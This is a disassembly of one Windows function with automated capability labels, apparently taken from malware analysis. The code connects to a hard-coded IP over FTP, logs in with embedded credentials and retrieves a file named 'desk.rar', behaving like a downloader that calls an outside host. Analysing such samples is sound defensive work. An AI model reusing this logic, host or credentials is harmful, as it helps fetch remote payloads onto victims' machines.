Function at 0x401760
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0x5b8
lea eax, [esp + 0x428]
push ebx
push ebp
push esi
push edi
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x401b2f
mov ax, word [esp + 0x438]
cmp al, 1
jne 0x401b2a
xor ecx, ecx
mov cl, ah
cmp cl, al
jne 0x401b2a
push 0
push 1
push 2
call sub.WSOCK32.dll_socket
mov ebp, eax
push str.174.139.121.124
mov dword [esp + 0x1c], ebp
call sub.WSOCK32.dll_inet_addr
push 0x15
mov dword [esp + 0x30], eax
mov word [esp + 0x2c], 2
call sub.WSOCK32.dll_htons
mov word [esp + 0x2a], ax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
push 0x7d0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call edi
mov esi, 1
lea edx, [esp + 0x28]
push 0x10
push edx
push ebp
call sub.WSOCK32.dll_connect
test eax, eax
je 0x40181d
push 0x7d0
call edi
inc esi
cmp esi, 6
jne 0x4017f9
push ebp
jmp 0x401b25
lea eax, [esp + 0x14]
push 4
push eax
push 0x1005
push 0xffff
push ebp
mov dword [esp + 0x28], 0x1388
call sub.WSOCK32.dll_setsockopt
lea ecx, [esp + 0x14]
push 4
push ecx
push 0x1006
push 0xffff
push ebp
call sub.WSOCK32.dll_setsockopt
push 0
lea edx, [esp + 0x3c]
push 0x400
push edx
push ebp
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
mov edi, 0x42b0d0
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push 0x42b0d0
push ebp
call sub.WSOCK32.dll_send
mov edi, str.USERnaichabiao_r_n
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.USERnaichabiao_r_n
push ebp
call sub.WSOCK32.dll_send
push 0
lea eax, [esp + 0x3c]
push 0x400
push eax
push ebp
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
cmp byte [esp + 0x38], 0x33
je 0x4018ea
cmp byte [esp + 0x39], 0x33
je 0x4018ea
cmp byte [esp + 0x3a], 0x31
jne 0x401b2f
mov edi, str.PASSwww.3v.cm_r_n
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.PASSwww.3v.cm_r_n
push ebp
call sub.WSOCK32.dll_send
push 0
lea ecx, [esp + 0x3c]
push 0x400
push ecx
push ebp
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
mov al, byte [esp + 0x38]
mov bl, 0x32
cmp al, bl
je 0x401945
cmp byte [esp + 0x39], 0x33
je 0x401945
cmp byte [esp + 0x3a], 0x30
jne 0x401b2f
mov edi, str.PASV__r_n
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.PASV__r_n
push ebp
call sub.WSOCK32.dll_send
push 0
lea edx, [esp + 0x3c]
push 0x400
push edx
push ebp
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
cmp byte [esp + 0x38], bl
je 0x40199b
cmp byte [esp + 0x39], bl
je 0x40199b
cmp byte [esp + 0x3a], 0x37
jne 0x401b2f
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0
mov ebp, ecx
test ebp, ebp
jle 0x401a75
mov edi, dword [esp + 0x18]
cmp byte [esp + esi + 0x38], 0x28
jne 0x401a6c
inc esi
xor ebx, ebx
cmp esi, ebp
jge 0x401a6c
mov al, byte [esp + esi + 0x38]
cmp al, 0x2c
jne 0x401a5c
cmp dword [esp + 0x10], 3
jne 0x401a4a
inc esi
xor eax, eax
cmp esi, ebp
jge 0x401a62
mov cl, byte [esp + esi + 0x38]
cmp cl, 0x2c
jne 0x401a1c
lea eax, [esp + 0x1c]
push eax
call fcn.0041742f
xor ecx, ecx
mov edi, eax
mov dword [esp + 0x20], ecx
add esp, 4
mov dword [esp + 0x20], ecx
xor eax, eax
shl edi, 8
mov word [esp + 0x24], cx
inc esi
jmp 0x401a21
cmp cl, 0x29
je 0x401a31
mov dl, byte [esp + esi + 0x38]
inc esi
mov byte [esp + eax + 0x1c], dl
inc eax
cmp esi, ebp
jl 0x4019ed
jmp 0x401a62
lea eax, [esp + 0x1c]
push eax
call fcn.0041742f
add esp, 4
add eax, edi
mov dword [0x47b704], eax
lea ebx, [ebp - 1]
jmp 0x401a62
mov eax, dword [esp + 0x10]
mov byte [ebx + 0x47b6f0], 0x2e
inc eax
mov dword [esp + 0x10], eax
jmp 0x401a62
mov byte [ebx + 0x47b6f0], al
inc esi
inc ebx
cmp esi, ebp
jl 0x4019d7
inc esi
cmp esi, ebp
jl 0x4019c1
push 0
push 0
push 0
push 0x401400
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x401b2f
mov edi, str.RETR_desk.rar_r_n
or ecx, 0xffffffff
xor eax, eax
mov ebx, dword [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
push 0
push ecx
push str.RETR_desk.rar_r_n
push ebx
call sub.WSOCK32.dll_send
push 0
lea ecx, [esp + 0x3c]
push 0x400
push ecx
push ebx
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
cmp byte [esp + 0x38], 0x31
je 0x401ae4
cmp byte [esp + 0x39], 0x35
je 0x401ae4
cmp byte [esp + 0x3a], 0x30
jne 0x401b2f
push 0
lea edx, [esp + 0x3c]
push 0x400
push edx
push ebx
call sub.WSOCK32.dll_recv
test eax, eax
je 0x401b2f
cmp eax, 0xffffffff
je 0x401b2f
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, str.QUIT__r_n
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.QUIT__r_n
push ebx
call sub.WSOCK32.dll_send
push ebx
call sub.WSOCK32.dll_closesocket
call sub.WSOCK32.dll_WSACleanup
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x5b8
ret